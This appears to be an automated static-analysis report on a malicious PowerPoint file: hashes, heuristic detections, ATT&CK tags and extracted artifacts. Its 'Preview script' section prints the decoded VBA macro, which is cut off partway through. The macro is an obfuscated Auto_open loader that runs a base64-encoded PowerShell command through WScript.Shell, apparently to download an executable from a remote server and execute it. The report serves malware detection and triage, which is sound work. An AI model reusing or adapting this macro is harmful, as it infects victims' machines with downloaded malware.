Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 27bc88fd389ded5b…

MALICIOUS

Office (OOXML)

16.2 KB First seen: 2021-09-25
MD5: 06286fa6eceb22ef87f884f93b6277d1 SHA-1: 3587aeb0114b266430edab58df048c8e133950f1 SHA-256: 27bc88fd389ded5b1102d7ef23245aceeb4a516c7291afc954abb876898aa42f
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32

This OOXML document contains a malicious VBA macro that is obfuscated and uses Auto_open to execute. The script utilizes WScript.Shell to run a command, likely to download and execute a second-stage payload. The macro's heavy obfuscation and use of WScript.Shell indicate a downloader or dropper functionality.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5880 bytes
SHA-256: 481cec15569ff84a54d175704e1cd7ca87ac53eab27bfc1327063fa9723a6ef1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iufmxkweugwwwun"

Public Sub Auto_open()
bva.ua
dsfdas = cxzvxzsf

End Sub

Attribute VB_Name = "bva"
Function ljknmn(ophji As Variant)
sdfxc = "bvcvhgj  cvnvcfh cvnvhgk"
ljknmn = Chr(ophji - 130)
vcxbdg = "vxvbxdfg cxfgh vcvn gfgh ,vbnvc cvcvn"
End Function
Function hvfpisavy(ibsysz As String)
xgypfe = 0

fdsaf = "cxvx cbbcvx vcxzvsdf fdasxcv"


ahpqqnkbufuhrhepwfnvlt = "WSCript.shell"
Set czdutsjeswaues = CreateObject(ahpqqnkbufuhrhepwfnvlt)

'hjgjg ffhg5645n /*/
sagfetvowqkdkzuwqdbzonspbabeiavsiyqjp = czdutsjeswaues.Run(ibsysz, xgypfe)
End Function
Sub ua()

lgk = ljknmn(229) & ljknmn(239) & ljknmn(230) & ljknmn(162) & ljknmn(177) & ljknmn(197) & ljknmn(162) & ljknmn(242) & ljknmn(241) & ljknmn(224) & ljknmn(249) & ljknmn(224) & ljknmn(231) & ljknmn(244) & ljknmn(213) & ljknmn(224) & ljknmn(234) & ljknmn(199) & ljknmn(224) & ljknmn(238) & ljknmn(206) & ljknmn(162) & ljknmn(175) & ljknmn(199) & ljknmn(162)
lgk = lgk & "WwBTAHkAUwB0AGUATQAuAHQARQB4AHQALgBlAE4AQwBvAEQASQBuAGcAXQA6ADoAdQBuAEkAYwBvAEQARQAuAEcAZQB0AHMAVABSAGkAbgBHACgAWwBzAHkAUwB0AEUAbQAuAGMAbwBOAFYAZQByAFQAXQA6ADoAZgBSAG8AbQBiAGEAUwBFADYANABTAFQAcgBJAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEc"
lgk = lgk & "AWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEgAVQBBAFoAUQBCAGkAQQBHAEkAQQBlAEEAQgBuAEEARwBzAEEAWQBRAEIAdABBAEgARQBBAGIAUQBCAHkAQQBDAEEAQQBLAEEAQQBnAEEAQwBRAEEAYQBnAEIAbQBBAEgAZwBBAGEAZwBCAHQAQQBHAE0AQQBjAFEAQgByAEEARwBFAEEAWgBBAEIANQBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBhAEEAQgAwAEEARwAwAEEAYgBBAEIAeQBBAEgAVQBBAFoAdwBCAHkAQQBIAG8AQQBZAFEAQgB4AEEASABnAEEAWQB3AEIAdQBBAEcAMABBAEkAQQBBAHAAQQBBADAAQQBDAGcAQgA3AEEAQwBBAEEAYQBRAEIATgBBAEYAQQBBAFQAdwBCAHkAQQBGAFEAQQBMAFEAQgBOAEEARwA4AEEAWgBBAEIAVgBBAEUAdwBBAFIAUQBBAGcAQQBHAEkAQQBTAFEAQgBVAEEARgBNAEEAVgBBAEIAeQBBAEUARQBBAGIAZwBCAFQAQQBFAFkAQQBaAF"
lgk = lgk & "EAQgBTAEEARABzAEEARABRAEEASwBBAEYATQBBAFYAQQBCAGgAQQBGAEkAQQBWAEEAQQB0AEEARQBJAEEAYQBRAEIAVQBBAEgATQBBAFYAQQBCAFMAQQBHAEUAQQBiAGcAQgBUAEEARwBZAEEAWgBRAEIAUwBBAEMAQQBBAEwAUQBCAHoAQQBHADgAQQBWAFEAQgB5AEEARQBNAEEAUgBRAEEAZwBBAEMAUQBBAGEAZwBCAG0AQQBIAGcAQQBhAGcAQgB0AEEARwBNAEEAYwBRAEIAcgBBAEcARQBBAFoAQQBCADUAQQBDAEEAQQBMAFEAQgBrAEEARQBVAEEAVQB3AEIAMABBAEUAawBBAGIAZwBCAEIAQQBGAFEAQQBhAFEAQgBQAEEARwA0AEEASQBBAEEAawBBAEcAZwBBAGQAQQBCAHQAQQBHAHcAQQBjAGcAQgAxAEEARwBjAEEAYwBnAEIANgBBAEcARQBBAGMAUQBCADQAQQBHAE0AQQBiAGcAQgB0AEEARABzAEEASQBBAEEAbQBBAEMAQQBBAEoAQQBCAG8AQQBIAFEAQQBiAFEAQgBzAEEASABJAEEAZABRAEIAbgBBA"
lgk = lgk & "EgASQBBAGUAZwBCAGgAQQBIAEUAQQBlAEEAQgBqAEEARwA0AEEAYgBRAEEANwBBAEMAQQBBAGYAUQBCADAAQQBIAEkAQQBlAFEAQgA3AEEAQwBRAEEAYgBRAEIAbwBBAEcAMABBAFkAZwBCAHkAQQBHAHMAQQBhAEEAQgBsAEEARwBRAEEAWgBnAEIAMABBAEgAQQBBAGEAUQBCAG4AQQBIAFEAQQBiAEEAQgB1AEEARwB3AEEAWQBnAEIANgBBAEcASQBBAGIAZwBCAGkAQQBIAGMAQQBaAHcAQQA5AEEAQwBRAEEAUgBRAEIAdQBBAEYAWQBBAE8AZwBCADAAQQBHAFUAQQBUAFEAQgBRAEEAQwBzAEEASgB3AEIAYwBBAEgAUQBBAGEAUQBCAG0AQQBHAFEAQQBiAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBkAFEAQgBsAEEARwBJAEEAWQBnAEIANABBAEcAYwBBAGEAdwBCAGgAQQBHADAAQQBjAFEAQgB0AEEASABJAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBP"
lgk = lgk & "AGcAQQB2AEEAQwA4AEEATQBRAEEANQBBAEQAVQBBAEwAZwBBAHkAQQBEAFEAQQBNAGcAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE4AQQBBADEAQQBDADgAQQBUAHcAQgBtAEEASABjAEEAYgB3AEIAbgBBAEcATQBBAFoAdwBCAHcAQQBHAFUAQQBlAFEAQgAwAEEARwBrAEEAZABnAEIAdQBBAEgASQBBAGQAQQBCAHoAQQBHAGsAQQBZAGcAQgAwAEEARwBRAEEAZABRAEIAMgBBAEcAbwBBAGMAZwBCAGwAQQBHADgAQQBiAHcAQgAwAEEARwBRAEEAYgBRAEIAbABBAEgAVQBBAGIAQQBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEcAMABBAGEAQQBCAHQAQQBHAEkAQQBjAGcAQgByAEEARwBnAEEAWgBRAEIAawBBAEcAWQBBAGQAQQBCAHcAQQBHAGsAQQBaAHcAQgAwAEEARwB3AEEAYgBnAEIAcwBBAEcASQBBAGUAZwBCAGkAQQBHADQAQQBZAGcAQgAzAEEARwBjAEEATwB3AEEATgB"
lgk = lgk 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 39936 bytes
SHA-256: 7ace124e0e0ce33a0696eb262bbf0834e10a60a2251404cee0f4542117d404c9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.